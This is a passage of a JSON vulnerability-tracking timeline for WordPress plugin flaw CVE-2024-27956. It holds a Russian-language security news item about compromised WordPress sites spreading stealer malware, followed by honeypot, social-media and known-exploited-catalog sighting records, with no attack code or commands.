\u043d\u0435\u0436\u0435\u043b\u0430\u043d\u043d\u044b\u0439 \u0441\u043f\u0430\u043c \u0438 \u0437\u0430\u043c\u0435\u043d\u044f\u043b \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043d\u0430 \u043e\u0442\u043a\u0440\u043e\u0432\u0435\u043d\u043d\u044b\u0435 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b, \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0430\u0439\u0442\u044b.\n\n\u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u043c\u0435\u0442\u043e\u0434\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0443\u043c\u0435\u0435\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442\u044c, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043b\u0438 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u043e\u0441\u0435\u0442\u0438\u0442\u0435\u043b\u044c \u0431\u043e\u0442\u043e\u043c \u043f\u043e\u0438\u0441\u043a\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0442\u0430\u043a, \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0438\u043d\u0434\u0435\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f. \u042d\u0442\u043e \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442 \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u043a \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044e \u0438 \u0434\u0435\u043b\u0430\u0435\u0442 \u0435\u0451 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u043b\u044f \u043e\u0431\u044b\u0447\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\u044e \u0431\u043e\u043b\u0435\u0435 \u0448\u0438\u0440\u043e\u043a\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0430\u0439\u0442\u044b \u043d\u0430 WordPress \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0438 \u0434\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0445 \u0430\u0442\u0430\u043a. \u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u044b \u0441\u043b\u0443\u0447\u0430\u0438 , \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u0435\u0442\u0438\u0442\u0435\u043b\u044f\u043c \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u043b\u043e\u0441\u044c \u043f\u0440\u043e\u0439\u0442\u0438 \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 reCAPTCHA \u0438\u043b\u0438 Cloudflare CAPTCHA, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0438\u0441\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b PowerShell \u0441 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u0442\u0440\u043e\u044f\u043d\u0430 Lumma Stealer.\n\n\u041f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u043e \u043d\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0430\u0439\u0442\u0430\u0445 \u043c\u043e\u0436\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0442\u044c\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 JavaScript, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u0430 \u043f\u043b\u0430\u0442\u0451\u0436\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0432\u0432\u0435\u0434\u0451\u043d\u043d\u043e\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430\u0445 \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043a\u0430\u0437\u043e\u0432. \u0422\u0430\u043a\u0436\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0441 \u043f\u0440\u043e\u0441\u0442\u044b\u043c \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0435 \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u044b.\n\n\u0425\u043e\u0442\u044f \u0442\u043e\u0447\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0430\u0439\u0442\u043e\u0432 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c\u0438, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0430\u0445 \u0438 \u0442\u0435\u043c\u0430\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u0447\u0435\u0440\u0435\u0437 \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u043c\u0443 \u043e\u0442\u0447\u0451\u0442\u0443 Patchstack, \u0442\u043e\u043b\u044c\u043a\u043e \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u0433\u043e\u0434\u0430 \u0431\u044b\u043b\u043e \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0430\u0445 WordPress, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 WordPress Automatic Plugin ( CVE-2024-27956 ) \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0442\u0435\u043c\u0430\u0445 Bricks \u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u0430\u0445 GiveWP \u0438 Startklar Elementor Addons, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0414\u043b\u044f \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0438\u0441\u043a\u043e\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d\u044b \u0438 \u0442\u0435\u043c\u044b, \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0441\u0430\u0439\u0442\u0430 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u043e\u0436\u043d\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u0438 \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439. \u042d\u0442\u0438 \u043c\u0435\u0440\u044b \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043e\u0442\u0441\u0435\u043a\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\ud83d\udd14 ITsec NEWS", "url": "https://t.me/itsec_news/5672", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2025-04-01T16:34:43Z", "date_only": false, "value": "2025-04-01T16:34:43.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/rastaa44/a58f11fdfbe14944c9f1000ea9744a5e", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "bc268cdc-1e12-4ae9-abe5-b448143fb9e2", "url": "https://gist.github.com/rastaa44/a58f11fdfbe14944c9f1000ea9744a5e"}, {"timestamp": "2025-04-01T16:35:55Z", "date_only": false, "value": "2025-04-01T16:35:55.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/rastaa44/5cb49c48ef077755b79f8229d25a8a54", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "755110b1-ee88-4421-8529-17cbc585af46", "url": "https://gist.github.com/rastaa44/5cb49c48ef077755b79f8229d25a8a54"}, {"timestamp": "2025-04-05T09:28:05.827Z", "date_only": false, "value": "2025-04-05T09:28:05.827529Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/tomcat/statuses/114284644630699455", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "924a5b16-0d21-48bf-9b5d-dd8d49e3e94c", "url": "https://infosec.exchange/users/tomcat/statuses/114284644630699455"}, {"timestamp": "2025-04-05T09:28:05.828Z", "date_only": false, "value": "2025-04-05T09:28:05.828908Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/tomcat/statuses/114284644630699455", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "8c42b5f9-7f55-4200-a5d3-3f67e239d2b9", "url": "https://infosec.exchange/users/tomcat/statuses/114284644630699455"}, {"timestamp": "2025-04-05T11:26:50Z", "date_only": false, "value": "2025-04-05T11:26:50.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/0OMxSfo6PWHdjqJAd6WogyTJvQRKY_lhNy48UYmllxPrrA", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "15571bdd-3fc6-4d1b-b41b-2b36f502de69"}, {"timestamp": "2025-04-07T00:00:00Z", "date_only": false, "value": "2025-04-07T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-07)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "5b28a591-c77c-44e8-b008-86f6bf19e64d"}, {"timestamp": "2025-04-11T00:00:00Z", "date_only": false, "value": "2025-04-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-11)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "586bf284-c09a-4212-bdc5-0872b86db901"}, {"timestamp": "2025-04-12T00:00:00Z", "date_only": false, "value": "2025-04-12T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-12)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "af940e1b-7935-46ec-be25-e7f91dde87af"}, {"timestamp": "2025-04-14T00:00:00Z", "date_only": false, "value": "2025-04-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-14)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "f158f565-d5bf-4a99-ae16-1e6cb8ed5576"}, {"timestamp": "2025-04-19T00:00:00Z", "date_only": false, "value": "2025-04-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-19)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "3a1aa995-461c-41df-b6ee-ba68c2db3e36"}, {"timestamp": "2025-04-22T00:00:00Z", "date_only": false, "value": "2025-04-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-22)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "2b0271b5-dd55-46e8-b68a-f6f2c76014f9"}, {"timestamp": "2025-04-23T00:00:00Z", "date_only": false, "value": "2025-04-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-23)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "9862f437-ae0e-4c62-9906-b057bbca4431"}, {"timestamp": "2025-04-28T05:00:06Z", "date_only": false, "value": "2025-04-28T05:00:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/pAhL0Y0-25WuKbTjtFnfR_Xs2-BuvkpahhgLLseEPoVFP08", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "6867170f-81b5-4646-a3c9-e4a1dca56dc0", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-05-03T00:00:00Z", "date_only": false, "value": "2025-05-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-03)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "8d99f7e7-290f-458e-a321-c2f062a4b13c"}, {"timestamp": "2025-05-10T00:00:00Z", "date_only": false, "value": "2025-05-10T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-10)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "77c1c4c6-a514-420b-90ca-86c6a033dea0"}, {"timestamp": "2025-05-11T00:00:00Z", "date_only": false, "value": "2025-05-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-11)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "643c06ba-c82a-4810-a329-7edee0178676"}, {"timestamp": "2025-05-14T00:00:00Z", "date_only": false, "value": "2025-05-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-14)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "4bccc87d-1816-482f-a7ea-10cfe2481bc9"}, {"timestamp": "2025-05-15T00:00:00Z", "date_only": false, "value": "2025-05-15T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-15)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "a0d79a40-28f8-460d-9fad-4cb881eeab10", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2025-05-15T00:00:00Z", "date_only": false, "value": "2025-05-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-15)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "2836656e-30ae-45fc-82f4-32d220cdc55a"}, {"timestamp": "2025-05-16T00:00:00Z", "date_only": false, "value": "2025-05-16T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-16)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "fd212b13-1fe6-48eb-91f0-fdea471c248d"}, {"timestamp": "2025-05-18T00:00:00Z", "date_only": false, "value": "2025-05-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-18)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "4c254cd3-a51a-4545-96c6-fc4e21bfaf2a"}, {"timestamp": "2025-05-20T00:00:00Z", "date_only": false, "value": "2025-05-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-20)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "2354a858-972c-47b5-b0e6-67e28afcb450"}, {"timestamp": "2025-05-22T00:00:00Z", "date_only": false, "value": "2025-05-22T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-22)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "59b49fd2-238f-41bd-a723-151378398474", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2025-05-24T00:00:00Z", "date_only": false, "value": "2025-05-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-24)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "adccae47-3dd3-4e67-9c03-72ba85df1e2f"}, {"timestamp": "2025-05-27T00:00:00Z", "date_only": false, "value": "2025-05-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-27)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "5eb86b56-2e16-4680-bace-e7d291db4004"}, {"timestamp": "2025-05-29T00:00:00Z", "date_only": false, "value": "2025-05-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-29)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "102462dc-a306-475f-b15c-a269527bb7c0"}, {"timestamp": "2025-05-30T00:00:00Z", "date_only": false, "value": "2025-05-30T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-30)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "b3538744-0668-417a-92c3-69b814db77b2"}, {"timestamp": "2025-06-02T00:00:00Z", "date_only": false, "value": "2025-06-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-02)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "1a8116d2-0eb8-4574-bf08-11d7ec60ee0b"}, {"timestamp": "2025-06-06T00:00:00Z", "date_only": false, "value": "2025-06-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-06)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "87b61a99-82f1-4555-97a4-b0ab911640d1"}, {"timestamp": "2025-06-21T00:00:00Z", "date_only": false, "value": "2025-06-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-21)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "df3952fa-6ef4-4197-8368-b0df5f783f24"}, {"timestamp": "2025-06-23T00:00:00Z", "date_only": false, "value": "2025-06-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-23)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "0781dd36-2cb9-4683-9100-333009fa8ab0"}, {"timestamp": "2025-06-25T00:00:00Z", "date_only": false, "value": "2025-06-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-25)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "a4c601e2-2d74-41b4-93a7-db8a811530cb"}, {"timestamp": "2025-06-26T00:00:00Z", "date_only": false, "value": "2025-06-26T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2024-27956", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "e820e848-8121-4bc8-91d3-4c4d8f765d99", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-06-26T00:00:00Z", "date_only": false, "value": "2025-06-26T00:00:00.000Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2024-27956", "field": "evidence.0.details.added_date", "uuid": "e820e848-8121-4bc8-91d3-4c4d8f765d99", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-06-26T00:00:00Z", "date_only": false, "value": "2025-06-26T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-26)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "cdd78e15-c76d-4548-8b4f-b1038a840779", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2025-06-26T00:00:00Z", "date_only": false, "value": "2025-06-26T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2024-27956", "field": "timestamps.first_seen_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "e820e848-8121-4bc8-91d3-4c4d8f765d99", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-06-26T00:00:00Z", "date_only": false, "value": "2025-06-26T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2024-27956", "field": "status.status_updated_at", "uuid": "e820e848-8121-4bc8-91d3-4c4d8f765d99", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-07-03T00:00:00Z", "date_only": false, "value": "2025-07-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-03)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "38d15d56-c345-4872-ab0a-b440493e7e24"}, {"timestamp": "2025-07-13T02:12:00Z", "date_only": false, "value": "2025-07-13T02:12:00.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/ZmNdkUlwMi8wIyWb9PMqpqbhuxrMGAAlpZqMM06bDWpior15", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "b4e2d5fa-823b-498a-87fe-a04840c3ce9c", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-07-13T02:12:01Z", "date_only": false, "value": "2025-07-13T02:12:01.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/51t8UUBcVa-x2wjoRIM2mT2i7yna57J_B3bG-USYfuPX_VI", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "63632850-38f2-4c18-bb95-fe861417f613", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-07-13T02:12:02Z", "date_only": false, "value": "2025-07-13T02:12:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/8q0G2XoGgrXP8O-oMiUuoKtzfH3vGd_RQiplze-y2V_UL3MF", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "a2de7d8f-0847-4d76-a9f9-84757d8e2637", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-07-22T12:59:19Z", "date_only": false, "value": "2025-07-22T12:59:19.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/h9HbZ2k29WBhPqZedI7raK6Z0Uo2xDhBpR3YwH0Zr2iyDfc", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "bec6bc21-b143-47fe-9fa5-95dc51d2e060"}, {"timestamp": "2025-07-30T00:00:00Z", "date_only": false, "value": "2025-07-30T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-30)", 